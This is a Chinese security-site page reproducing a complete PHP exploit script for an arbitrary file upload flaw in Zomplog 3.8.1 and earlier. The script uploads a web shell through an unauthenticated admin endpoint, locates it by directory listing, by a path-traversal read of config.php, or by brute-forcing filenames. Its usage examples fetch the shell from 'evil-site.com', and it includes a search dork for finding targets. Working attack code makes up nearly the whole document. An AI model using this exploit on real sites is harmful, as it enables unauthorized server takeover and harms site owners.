首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Zomplog <= 3.8.1 upload_files.php Arbitrary File Upload Exploit
来源:http://inattack.ru 作者:InATeam 发布时间:2007-09-29  
<?php
## Zomplog <= 3.8.1 Arbitrary File Upload Exploit
## by InATeam (http://inattack.ru/)
## tested on versions 3.8.1 with security patch, 3.8.1, 3.8, 3.7.5

echo "------------------------------------------------------------\n";
echo "Zomplog <= 3.8.1 Arbitrary File Upload Exploit\n";
echo "(c)oded by Raz0r, InATeam (http://inattack.ru/)\n";
echo "dork: \"Powered by Zomplog\"\n";
echo "------------------------------------------------------------\n";

if ($argc<3) {
echo "USAGE:\n";
echo "~~~~~~\n";
echo "php {$argv[0]} [url] [file]\n\n";
echo "[url]  - target server where Zomplog is installed\n";
echo "[file] - file to upload (local or remote)\n\n";
echo "examples:\n";
echo "php {$argv[0]} http://site.com/ http://evil-site.com/sh.php\n";
echo "php {$argv[0]} http://weblog.site.com:8080/ /root/sh.php\n";
echo "php {$argv[0]} http://site.com/zomplog/ sh.php\n";
die;
}
/**
* software site: http://zomplog.zomp.nl/
*
* i) /admin/upload_files.php is supposed to be run only from admin panel
* (it is included in /admin/editor.php, other admin scripts) but unathorized
* users can call it directly, because the script doesnt check if you are admin
* ii) /admin/upload_files.php allows to upload any files: it checks only
* MIME-types of the files but not the extensions. For example, it is possible
* to upload php script and then execute it
* iii) uploaded file will be moved to /upload directory and its name will
* have the format like this:
* [YearMonthDay]_[RandomNumberFrom1To999]_[OriginalFilename]
* In the version 3.8.1 additional prefix is used. By default /upload is not
* protected by .htaccess, so we can get the contents of it.
* However sometimes directory listing is denied and in this case we need to
* brute the filename (max number of requests is 999)
*/
error_reporting(0);
set_time_limit(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",10);
$url = $argv[1];
$file = $argv[2];
$url_parts = parse_url($url);
$host = $url_parts['host'];
$path = $url_parts['path'];
if (isset($url_parts['port'])) $port = $url_parts['port']; else $port = 80;
$filename = basename($file);
echo "[~] Getting $filename... ";
$fp = file_get_contents($file);
$fp ? print("OK\n") : die("failed\n");
$data = "--------bndry31337\r\n";
$data.= "Content-Disposition: form-data; ";
$data.= "name=\"file\"; filename=\"{$filename}\"\r\n";
$data.= "Content-Type: text/plain\r\n\r\n";
$data.= $fp."\r\n";
$data.= "--------bndry31337\r\n";
$packet = "POST {$path}admin/upload_files.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Content-Type: multipart/form-data; boundary=------bndry31337\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;
echo "[~] Uploading {$filename}... ";
$resp = send($packet);
$exploded = explode("\r\n",$resp);
$errno=array();
preg_match('@(\d{3})@',$exploded[0],$errno);
if ($errno[1]!=200) $resp = false;
$resp ? print("OK\n") : die("failed\n");
$packet = "GET {$path}upload/ HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "User-Agent: InAttack evil agent\r\n";
$packet.= "Connection: close\r\n\r\n";
$resp = send($packet);
if (strpos($resp, "force_download.php") !== false) {
   echo "[+] Directory listing of {$path}upload/ is allowed\n";
   $matches=array();
   if (preg_match('/(temp_)*\d{8}_\d{1,3}_'.$filename.'/',$resp,$matches)){
       $newname = $matches[0];
       echo "[+] Filename is $newname\n";
       echo "[+] {$url}upload/{$newname}\n";
   }
   else die("[-] Exploit failed\n");
}
else {
   echo "[-] Directory listing of {$path}upload/ is denied\n";
   //it is necessary to determine if prefix 'temp_' is used before the filename
   echo "[~] Getting Zomplog's version... ";
   $packet = "GET {$path}upload/force_download.php?file=../admin/config.php HTTP/1.0\r\n";
   //thx to Dj7xpl for this bug =)
   $packet.= "Host: {$host}\r\n";
   $packet.= "User-Agent: InAttack evil agent\r\n";
   $packet.= "Connection: close\r\n\r\n";
   $resp = send($packet);
   $matches=array();
   if (preg_match('@\$version = "([^"]+)";@',$resp,$matches)) {
       echo $matches[1]."\n";
       $prefix = ("3.8.1" == $matches[1]) ? 'temp_' : '';
   }
   else {
       echo "3.8.1 with sec patch\n";
       $prefix = "temp_";       }
   echo "    Bruting the filename...";
   for($i=1;$i<1000;$i++) {
       $packet = "GET {$path}upload/".$prefix.date("Ymd")."_".$i."_";
       $packet.= urlencode($filename)." HTTP/1.0\r\n";
       $packet.= "Host: {$host}\r\n";
       $packet.= "User-Agent: InAttack evil agent\r\n";
       $packet.= "Connection: close\r\n\r\n";
       $resp = send($packet);
       status();
       $exploded = explode("\r\n",$resp);
       $errno=array();
       preg_match('@(\d{3})@',$exploded[0],$errno);
       if ($errno[1]==200) {
           $newname = $prefix.date("Ymd")."_".$i."_".$filename;
           echo "[+] Filename is {$newname}\n";
           echo "[+] {$url}upload/{$newname}\n";
           die;
       }
   }
   printf("[-] Exploit failed%9s\n",'');
}
function send($packet) {
   global $host,$port;
   $ock = fsockopen(gethostbyname($host),$port);
   if (!$ock) return false;
   else {
       fputs($ock, $packet);
       $html='';
       while (!feof($ock)) $html.=fgets($ock);
   }
   return $html;
}
function status() {
   static $n;
   $n++;
   if ($n > 3) $n = 0;
   if($n==0){ print "\r[-]\r";  }
   if($n==1){ print "\r[\\]\r";  }
   if($n==2){ print "\r[|]\r";  }
   if($n==3){ print "\r[/]\r"; }
}
?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.4/2.6 x86-64 Sy
·Tor < 0.1.2.16 ControlPort Rem
·MDPro 1.0.76 Remote SQL Inject
·Motorola Timbuktu Pro 8.6.3 Ar
·ELSE IF CMS 0.6 Multiple Remot
·EB Design Pty Ltd (EBCRYPT.DLL
·CMS Creamotion (securite.php)
·AskJeeves Toolbar 4.0.2.53 act
·wzdftpd <= 0.8.0 (USER) Remote
·Xitami Web Server 2.5 (If-Modi
·PHP Homepage M 1.0 galerie.php
·EasyMail MessagePrinter Object
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved